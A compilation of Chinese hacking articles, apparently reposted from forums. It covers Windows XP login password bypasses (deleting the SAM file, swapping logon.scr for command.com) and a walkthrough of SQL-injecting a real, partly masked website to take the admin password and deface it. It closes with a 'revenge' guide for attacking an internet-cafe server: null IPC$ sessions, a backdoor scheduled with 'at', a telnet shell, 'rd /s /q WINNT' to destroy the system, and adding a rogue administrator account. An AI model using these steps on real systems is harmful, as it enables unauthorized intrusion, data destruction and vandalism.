Windows XP操作系统登录密码复原技巧

Windows XP的安全性能比以前的Windows 9X提高了许多,我们可以通过建立个人用户设置密码来保护自己的秘密,但是如果有一天我们自己忘记了这个登录密码那该怎么办呢?难道除了格式化硬盘重装系 统,就没有别的方法了吗?不!让我们一起来寻找恢复Windows XP登录的秘技吧。

1. 创建修复用户密码的启动软盘

微软在Windows XP中为我们提供了一个创建修复用户密码的启动软盘的功能,在我们忘记密码时,可以通过这张软盘来启动电脑,所以我们应该事先做张密码启动盘以防万一。点 击“开始”\“控制面板”中的“用户账户”选项,在弹出的对话窗口中选择自己的账户便会进入自己账户的控制界面,紧接着点击窗口左上方的“阻止一个已忘记 的密码”选项,则进入“忘记密码向导”对话框。点击“下一步”,这时向导提示将一张空白的已经格式化的磁盘插入到软驱中,然后再点击“下一步”按钮,向导 提示输入这个账户现在的密码,输人后经过几秒钟便创建完成密码启动盘了。当我们有一天忘记自己的密码时,只要点击我们账户右边的箭头,然后在弹出的提示栏 中点击“使用密码重设磁盘”,再将先前做好的密码启动盘插入软驱,按照系统提示就可以重新设置密码并登录Windows XP了。此方法适宜于各种分区格式的Windows XP。

2. 通过双系统删除Windows XP登录密码

如果我们的机器中除了Windows XP外还有其它操作系统的话,可以使用另外一个操作系统启动,然后删除“C:\Windows\System 32\Comfig”目录下的“SAM”文件(这里假设Windows XP安装在C盘),即账号密码数据库文件。然后重新启动Windows XP,这时管理员“administratoc”账号就没有密码了。举一反三,如果只有一个Windows XP系统,也可以取下硬盘换到其它机器上将SAM文件删除。

此方法适用于采用FAT32分区安装的Windows XP,如果是采用NTFS分区安装的,要保证其它系统能访问NTFS分区才行。

3. 使用NTFSDOS工具恢复Windows XP登录密码

首先从“http://www.vgsecurity.org/index/html?ntfs/html”下载一个名为“NTFS DOS”的工具,通过这个工具制作出一张可以从DOS下操作NTFS分区的启动盘。启动DOS后切换到系统目录,如“C:Windows\System 32”,将“Logon.scr”更名为“Logon.scr.bak”,再复制一个“Command.com”并将文件更名为“Logon.scr”。 然后重新启动机器,当启动屏幕保护时,你会发现屏幕显示为命令行模式,而且是有administratoc权限的,通过这个就可修改密码或添加新管理员账 号。进入Windows XP后再将“Logon.scr.bak”屏幕保护程序的名字改回来即可。此法适用于在NTFS分区安装的Windows XP。

4. 使用其它工具重建Windows XP登录密码

在网上可以找到很多Windows XP登录工具,比如使用Linux Boot Disks的启动盘可访问NTFS文件系统,并能读取注册表、重写账号和密码;使用NT Acess工具可绕过系统Syskey的保护,重新设定Windows NT/2000、Windows XP上的密码;还有Passware Kit、o&oBluecon 2000等工具,具体操作大家可以参考各软件的说明。

2分钟入侵网站全程实录

下面转摘一篇网站入侵的文章.        

这篇文章是我几个月前bookmark的, 记得看完之后对别人的网站扫描了. 

结果一个美国的beer爱好者网站成为我的猎物. 我成功的得到了admin password. 不过, 我进去了就log out出来嘞. 

别人还有一些message还未回呢.  呵呵. 挺好玩的. 这种事情还是第一次做过.  

看了下面的文章可别犯罪, 小试一下可以, 造成任何损坏本人不负责的. 再加上下面的文章试别人写的. :-)

看看我的入侵过程吧。    

一、下载榕哥的工具包
  小榕哥的这个SQL注入攻击工具包在榕哥的站点http://www.netxeyes.com/main.html可以下载到,不过这个工具太火爆了,下载的人实在太多,你觉得慢的话,可以到其它大的黑软站点搜索一下,绝对可以找到的。
  下载来的这个工具包中总有两个小程序:”wed.exe”和”wis.exe”,其中”wis.exe”是用来扫描某个站点中是否存在SQL注入漏洞的;”wed.exe”则是用来破解SQL注入用户名密码的。两个工具的使用都非常简单,结合起来,就可以完成从寻找注入点到注入攻击完成的整个过程。
  二、寻找SQL注入点

  ”wis.exe”使用的格式如下:”wis.exe 网址”,这里以笔者检测本地信息港为例:首先打开命令提示窗口,输入如下命令:”wis.exe http://www.as.***.cn/***.cn/”(如图1)。

 asp_web_attacking1

小提示:在输入网址时,前面的”http://”;和最后面的”/”是必不可少的,否则将会提示无法进行扫描。   输入完毕后回车,即可开始进行扫描了。很快得到了扫描结果,可以看到这个网站中存在着很多SQL注入漏洞(如图2),我们随便挑其中一个来做试验,就挑”/rjz/sort.asp?classid=1″吧。

asp_web_attacking 打开浏览器诘刂防钢惺淙?http://www.as.***.cn/rjz/sort.asp?classid=1″,打开了网站页面,呵呵,原来是一个下载网页(如图3)。现在来对它进行SQL注入,破解出管理员的帐号来吧!

 三、SQL注入破解管理员帐号
  现在进入命令窗口中,使用刚才下载的工具包中的”wed.exe”程序,命令使用格式为:”wed.exe 网址”输入如下命令:”wed.exe http://www.as.***.cn/rjz/sort.asp?classid=1″。回车后可看到命令运行情况(如图4)。
asp_web_attacking3
小提示:这次输入网址时,最后面千万不要加上那个”/”,但前面的”http://”;头也还是必不可少的。

  可以看到程序自动打开了工具包中的几个文件,”C:\wed\wed\TableName.dic”、”C:\wed\wed\ UserField.dic”和”C:\wed\wed\PassField.dic”,这几个文件分别是用来破解用户数据库中的字表名、用户名和用户密码所需的字典文件。当然我们也可以用其它的工具来生成字典文件,不过想想小榕哥以前出的”黑客字典”那么的强大,还用得着去多此一举吗?
  在破解过程中还可以看到”SQL Injection Detected.”的字符串字样,表示程序还会对需要注入破解的网站进行一次检测,看看是否存在SQL注入漏洞,成功后才开始猜测用户名。
  开始等待吧!呵呵,很快就获得了数据库表名”admin”,然后得到用户表名和字长,为”username”和”6″;再检测到密码表名和字长,为 “password”和”8″(如图5)。看来用户的密码还起得挺长的呢,如果手工破解出这个用户密码来,一定要花上不少时间的!

asp_web_attacking4

正想着手工注入会有多困难时,”wed.exe”程序已经开始了用户名和密码的破解。很快的,就得到了用户名和密码了——”admina”、”pbk&7*8r”(如图6)!天啦,这也太容易了吧!还不到一分钟呢

asp_web_attacking5

四、搜索隐藏的管理登录页面
  重新回到刚才的软件下载页面中,任意点击了一个软件下载链接,哎呀?怎么可以随便下载的呢!不像以前碰到的收费网站,要输入用户名和密码才可以下载。看来这是免费下载的网站,我猜错了攻击对象,不过既然都来了,就看看有没有什么可利用的吧?
  拿到了管理员的帐号,现在看来我们只有找到管理员登录管理的入口才行了。在网页上找遍了也没有看到什么管理员的入口链接,看来还是得让榕哥出手啦!
  再次拿出”wis.exe”程序,这个程序除了可以扫描出网站中存在的所有SQL注入点外,还可以找到隐藏的管理员登录页面。在命令窗口中输入”wis.exe http://www.as.***.cn/rjz/sort.asp?classid=1/ /a”(如图7)。注意这里输入了一个隐藏的参数”/a”。

asp_web_attacking6

怎么会扫描不成功呢?呵呵,原来这是扫描注入点,当然不能成功了,管理员登录页面只可能隐藏在整个网站的某个路径下。于是输入”wis.exe http://www.as.***.cn/ /a”,对整个网站进行扫描。注意扫描语句中网址的格式。程序开始对网站中的登录页面进行扫描,在扫描过程中,找到的隐藏登录页面会在屏幕上以红色进行显示。很快就查找完了,在最后以列表显示在命令窗口中。可以看到列表中有多个以”/rjz/”开头的登录页面网址,包括 “/rjz/gl/manage.asp”、”/rjz/gl/login.asp”、”/rjz/gl/admin1.asp”等。就挑 “/rjz/gl/admin1.asp”吧,反正这些都是管理员登录的页面想用哪个都可以。
  在浏览器中输入网址” http://www.as.***.cn/rjz/gl/admin1.asp***.cn/rjz/gl/admin1.asp”,呵呵,出现了本来隐藏着的管理员登录页面(如图8)。输入用户名和密码,就进入到后台管理系统,进来了做些什么呢?当然不能搞破坏啦,看到有一个添加公告的地方,好啊,就在这儿给管理员留下一点小小的通知吧!

asp_web_attacking7

看看最后我更改过的主页,冰河洗剑的大名留在了信息港上(如图9),不过可没有破坏什么东西啊!我和网页管理员也是朋友,他会原谅我这个小小的玩笑吧!?

asp_web_attacking8

 

转贴于 华夏黑客同盟 http://www.77169.org

想学到真正的黑客技术?进来看看

1,不要研究QQ,毕竟QQ不是技术,盗了几个号又算什么?程序不是自己编写的,没什么值得骄傲的.
2,不要研究怎么破解网吧,难道不觉得:一般关于破解网吧的帖子都很少人回复的么?
3,研究一些系统知识,比如windows什么版本和什么版本有什么区别……
4,研究组策略,研究注册表,研究CMD,研究ASP,研究PHP,研究JAVA……
5,经常来BBS闲逛,例如X,黑防……
6,不要以为扫到**主机的**端口开放就可以利用什么,微软不是傻的。
7,尽量不要吧时间浪费在暴力破解上,因为机会很渺茫。无路可走时才可以用用。
8,不要认为黑客就是非法入侵,就是盗QQ,盗帐号。
9,祖国需要计算机人才,而不需要盗帐号的高手。
10,不要奢望有什么快速的途径学习技术,欲速则不达。没有丰富的经验是没有办法提高的。

如果说错什么,大家都可以指出来~

对学习技术的一些建议(按顺序去学,可能会觉得太慢,但是我觉得很实用):
1,认真看看过去的入侵实例(如IPC入侵,输入法漏洞,可以了解一些名词),这样可以好好研究windows基础。
2,学好注册表,因为注册表是windows的数据库,windows相关的数据都在那。
3,多少学些编程,basic都可以,目的是做好基础,了解了解什么是编程。
4,看看一些溢出工具编写的教程(不是让你去写,而是让你了解溢出的真正原理),明白原理之后自己用虚拟机实践一下溢出。
5,有了编程的经验后,就可以看看sql注入攻击了,并且要学习怎么使用NBSI.

学好了这些,基本上就算入门了,想真正提高,只有努力学好编程,不要认为编程离我们很远……也许你会认为用别人的工具也不错,但是不会编程,就永远发现不了windows的系统漏洞,老是使用公布过的漏洞利用程序,想提高还真难啊.

再给一个建议……..做一个虚拟机,独立安装一个2000的系统(版本越老越好),然后尽量完善那个系统,看看自己能不能成功入侵(这是积累经验的办法).

这篇帖子只是提供一个方向.学技术需要时间,心急是万万不可Di~~~

我的电脑里有数百篇资料,都是网上找的.所以我再再建议…:经常逛逛下载站,找找相关资料,并且下载,还有经常去技术blog,把有用的复制保存下来,多少浏览一遍,感兴趣的就认真看(还要用本子记下有用的资料),不感兴趣的就扫一遍.
这个方法其实比你买学技术还要快.

好多人问为什么我老是菜鸟,想知道答案?该学的东西你没去认真的学,不该学的你又浪费时间在钻研,当然提高不了了!

附:什么是有用的资料(例如:windows2000的日志存放处,VPN开启的必须条件,windows_HOME版本的XP不支持”用户与组”功能和没有IIS信使等……)

做个小黑客吧网吧用户专用惩治黑心网吧老板

相信现在还有很多朋友还是在网吧上网,有时候看到网吧老板蛮横的样子,得想个办法整他一下吧!苦于自己不会“黑功”,只好忍气吞声了!现在小编就教你一招入侵网吧主机的“黑功”。大家作生意都不容易,不要太“黑”哟!做一个受人尊敬的黑客!
先查它的ip IP:61.141.xxx.xxx (方法很多的)

我就打开DOS输入:net use \\61.141.xxx.xxx\ipc$

提示输入密码(网吧的服务器一般是对客房机共享,所以……嘿嘿):

我估计是空!

直接按下[Enter]

真的被我猜中了!

接着我便继续输入:net use \\61.141.xxx.xxx\c$

提示输入密码:

我也没有理会!

谁知道这下不管用了!

找他的弱口令X-SCANNER(下载地方http://www.xfocus.org)扫它。

我接着就映射他的c盘

net use z: \\61.141.xxx.xxx\c$

接着把NETX99放上去!

看他的时间!

net time \\61.141.xxx.xxx

他的时间是假如是下午3:02分

接着安排他的执行时间!

at \\61.141.xxx.xxx 15:04 ncx99.exe

命令成功完成!

接下来就是等时间了!

OK!到时间了!

telnet 61.141.xxx.xxx 99

进入了!

c:\>rd /s /q WINNT

呵呵!这时你会发现有很多文件拒绝访问!不要害怕!这是很正常的事情!因为他有很多文件正在调用! 不过他的机器很快就会拼命报错!直到系统崩溃!呵呵!对于一个网吧来说!这个无疑是一个致命的打击!没有主机怎么上网?只有关门了!呵呵!接着就是如何获 取ADMIN的权限了!

我们首先把他的C盘映射成为我们的Z盘!

开始--运行--cmd

输入:net use z: //61.141.xxx.xxx/c$ “密码” /user:”用户名”

出现:命令成功完成

这时候你打开“我的电脑”看看!

是不是多了一个Z盘?

接着不用我多说了吧?

首先必须创建一个你自己的用户名

输入:net user 用户名 “密码” /add

出现:命令成功完成

OK!

接着就是如何把你创建的用户加到ADMIN组了!

输入:net localgroup administrators “用户名” /add

OK,出现:命令成功完成